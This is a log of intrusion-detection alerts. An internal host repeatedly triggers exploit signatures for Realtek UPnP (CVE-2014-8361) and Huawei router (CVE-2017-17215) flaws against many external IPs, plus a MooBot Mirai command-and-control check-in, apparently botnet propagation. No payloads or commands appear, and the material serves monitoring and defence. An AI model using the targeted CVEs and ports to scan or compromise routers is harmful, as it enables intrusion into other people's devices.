ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 112.183.31.205

Timestamp:	07/20/24-23:10:42.619249
SID:	2027339
Source Port:	40272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 31.77.81.9

Timestamp:	07/20/24-23:10:51.940106
SID:	2027339
Source Port:	45296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 151.94.173.235

Timestamp:	07/20/24-23:10:42.642008
SID:	2831300
Source Port:	50644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.208.201.80

Timestamp:	07/20/24-23:10:51.917055
SID:	2027339
Source Port:	53722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 198.105.114.189

Timestamp:	07/20/24-23:10:52.010300
SID:	2831300
Source Port:	34338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 46.240.3.150

Timestamp:	07/20/24-23:10:52.581805
SID:	2829579
Source Port:	34314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 85.126.23.91

Timestamp:	07/20/24-23:10:39.166048
SID:	2027339
Source Port:	51080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.160.161.142

Timestamp:	07/20/24-23:10:46.829468
SID:	2829579
Source Port:	51654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.12.224.149

Timestamp:	07/20/24-23:11:03.306275
SID:	2835222
Source Port:	43660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 73.203.24.52

Timestamp:	07/20/24-23:10:39.691478
SID:	2025132
Source Port:	59786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.241.200.75

Timestamp:	07/20/24-23:10:44.177599
SID:	2027339
Source Port:	52272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 51.195.43.231

Timestamp:	07/20/24-23:10:51.961780
SID:	2831300
Source Port:	51308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.14.253

Timestamp:	07/20/24-23:10:40.604940
SID:	2829579
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.230.194.125

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	55442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.159.99.175

Timestamp:	07/20/24-23:10:52.581805
SID:	2829579
Source Port:	41518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 141.113.230.124

Timestamp:	07/20/24-23:10:44.257621
SID:	2025132
Source Port:	50480
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 79.14.113.77

Timestamp:	07/20/24-23:10:47.779765
SID:	2025132
Source Port:	36036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 113.59.43.68

Timestamp:	07/20/24-23:10:42.633392
SID:	2027339
Source Port:	53064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.189.197.226

Timestamp:	07/20/24-23:11:03.402557
SID:	2835222
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 126.171.98.117

Timestamp:	07/20/24-23:10:40.367173
SID:	2027339
Source Port:	55586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.159.196.28

Timestamp:	07/20/24-23:10:59.012071
SID:	2829579
Source Port:	44582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 14.45.204.86

Timestamp:	07/20/24-23:10:43.202899
SID:	2025132
Source Port:	39300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 87.147.33.140

Timestamp:	07/20/24-23:10:42.882095
SID:	2027339
Source Port:	48602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.47.138.9

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	34858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.200.205.87

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	36816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 195.26.232.238

Timestamp:	07/20/24-23:10:56.002002
SID:	2829579
Source Port:	48826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 17.96.206.10

Timestamp:	07/20/24-23:10:39.122108
SID:	2027339
Source Port:	38068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.149.238.170

Timestamp:	07/20/24-23:10:46.781965
SID:	2829579
Source Port:	48976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.155.184.46

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	50750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 109.87.123.124

Timestamp:	07/20/24-23:10:51.928255
SID:	2027339
Source Port:	49332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 201.121.155.5

Timestamp:	07/20/24-23:10:47.803323
SID:	2025132
Source Port:	45810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.6.246.136

Timestamp:	07/20/24-23:10:44.697717
SID:	2027339
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 71.203.107.81

Timestamp:	07/20/24-23:10:46.642556
SID:	2027339
Source Port:	43354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 167.160.225.22

Timestamp:	07/20/24-23:10:42.637523
SID:	2025132
Source Port:	34248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 197.242.200.156

Timestamp:	07/20/24-23:10:47.563542
SID:	2025132
Source Port:	34788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.183.130.205

Timestamp:	07/20/24-23:10:56.035713
SID:	2835222
Source Port:	51440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.111.115.239

Timestamp:	07/20/24-23:10:47.943388
SID:	2027339
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 112.72.53.27

Timestamp:	07/20/24-23:10:43.440018
SID:	2027339
Source Port:	52792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 89.8.95.202

Timestamp:	07/20/24-23:10:41.224086
SID:	2829579
Source Port:	55154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.197.182.48

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	45984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.223.194.254

Timestamp:	07/20/24-23:10:46.810541
SID:	2829579
Source Port:	52714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.188.107.151

Timestamp:	07/20/24-23:10:41.227612
SID:	2829579
Source Port:	55912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 92.18.13.170

Timestamp:	07/20/24-23:10:51.951774
SID:	2831300
Source Port:	48820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 132.70.73.95

Timestamp:	07/20/24-23:10:44.684061
SID:	2025132
Source Port:	60756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 180.67.45.152

Timestamp:	07/20/24-23:10:56.030930
SID:	2835222
Source Port:	58628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.29.88.76

Timestamp:	07/20/24-23:10:46.010232
SID:	2027339
Source Port:	33342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.4.69

Timestamp:	07/20/24-23:10:59.057855
SID:	2835222
Source Port:	57998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 115.217.213.84

Timestamp:	07/20/24-23:10:44.044261
SID:	2027339
Source Port:	36654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.10.120.55

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	43614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 13.188.140.147

Timestamp:	07/20/24-23:10:45.861270
SID:	2025132
Source Port:	51048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 195.68.182.111

Timestamp:	07/20/24-23:10:51.917055
SID:	2831300
Source Port:	54818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.236.60

Timestamp:	07/20/24-23:11:03.406798
SID:	2829579
Source Port:	52722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 105.189.130.216

Timestamp:	07/20/24-23:10:51.995612
SID:	2027339
Source Port:	33832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.225.230.240

Timestamp:	07/20/24-23:10:52.062286
SID:	2027339
Source Port:	38418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:10:57.633067
SID:	2030490
Source Port:	58832
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 143.44.179.209

Timestamp:	07/20/24-23:10:52.540929
SID:	2829579
Source Port:	49796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.161.49.75

Timestamp:	07/20/24-23:10:42.253017
SID:	2835222
Source Port:	54942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.125.193.159

Timestamp:	07/20/24-23:10:46.768902
SID:	2829579
Source Port:	55592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 27.73.191.157

Timestamp:	07/20/24-23:10:52.070107
SID:	2831300
Source Port:	33740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.107.9.121

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	45730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.190.160.63

Timestamp:	07/20/24-23:11:06.675236
SID:	2835222
Source Port:	41818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 193.168.188.87

Timestamp:	07/20/24-23:10:40.575225
SID:	2835222
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.242.117.249

Timestamp:	07/20/24-23:10:40.604940
SID:	2829579
Source Port:	39404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.220.141

Timestamp:	07/20/24-23:10:42.266162
SID:	2829579
Source Port:	57160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 185.59.206.11

Timestamp:	07/20/24-23:10:42.641904
SID:	2831300
Source Port:	56304
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.115.120.71

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	33704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.1.165.207

Timestamp:	07/20/24-23:10:44.562694
SID:	2027339
Source Port:	38062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.82.157

Timestamp:	07/20/24-23:10:59.001293
SID:	2829579
Source Port:	43232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.224.112.150

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	41300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 71.203.107.81

Timestamp:	07/20/24-23:10:51.971548
SID:	2027339
Source Port:	45298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.203.245.203

Timestamp:	07/20/24-23:10:41.227867
SID:	2829579
Source Port:	56432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.92.145.86

Timestamp:	07/20/24-23:10:41.241817
SID:	2835222
Source Port:	44914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.17.147.201

Timestamp:	07/20/24-23:10:40.940896
SID:	2829579
Source Port:	36924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 171.218.135.148

Timestamp:	07/20/24-23:10:44.808575
SID:	2025132
Source Port:	33248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.167.109.170

Timestamp:	07/20/24-23:10:41.237255
SID:	2835222
Source Port:	45544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 108.128.208.18

Timestamp:	07/20/24-23:10:39.205185
SID:	2027339
Source Port:	39438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.216.119.91

Timestamp:	07/20/24-23:10:51.933445
SID:	2831300
Source Port:	59214
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.54.7.102

Timestamp:	07/20/24-23:10:51.969301
SID:	2027339
Source Port:	37796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.176.38.133

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	48814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 178.153.143.199

Timestamp:	07/20/24-23:10:42.624844
SID:	2027339
Source Port:	34920
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.76.21.41

Timestamp:	07/20/24-23:10:49.450306
SID:	2835222
Source Port:	58846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 69.184.161.116

Timestamp:	07/20/24-23:10:40.608330
SID:	2835222
Source Port:	54002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.110.24.110

Timestamp:	07/20/24-23:10:49.402846
SID:	2829579
Source Port:	44152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.217.178.217

Timestamp:	07/20/24-23:10:52.571075
SID:	2829579
Source Port:	58172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.211.242.101

Timestamp:	07/20/24-23:10:56.030930
SID:	2829579
Source Port:	37908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.61.39.75

Timestamp:	07/20/24-23:10:59.057855
SID:	2835222
Source Port:	39056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.202.153.125

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	39728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.241.179.83

Timestamp:	07/20/24-23:10:40.664038
SID:	2835222
Source Port:	42026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.129.238.186

Timestamp:	07/20/24-23:10:41.230071
SID:	2829579
Source Port:	37194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 93.91.138.170

Timestamp:	07/20/24-23:10:47.728144
SID:	2027339
Source Port:	43120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.138.13.10

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	43756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.147.176.235

Timestamp:	07/20/24-23:10:42.269853
SID:	2835222
Source Port:	60756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.79.179.243

Timestamp:	07/20/24-23:10:51.970945
SID:	2027339
Source Port:	34350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 32.169.224.65

Timestamp:	07/20/24-23:10:42.630025
SID:	2831300
Source Port:	35830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 141.95.223.128

Timestamp:	07/20/24-23:10:56.006442
SID:	2835222
Source Port:	51666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 23.244.107.142

Timestamp:	07/20/24-23:10:39.387844
SID:	2025132
Source Port:	52008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 4.232.226.241

Timestamp:	07/20/24-23:10:42.633392
SID:	2027339
Source Port:	33872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 116.138.138.226

Timestamp:	07/20/24-23:10:40.650979
SID:	2829579
Source Port:	52952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 83.178.139.14

Timestamp:	07/20/24-23:10:52.004017
SID:	2025132
Source Port:	59888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.215.139.152

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	40958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 74.70.192.12

Timestamp:	07/20/24-23:10:49.395188
SID:	2829579
Source Port:	58758
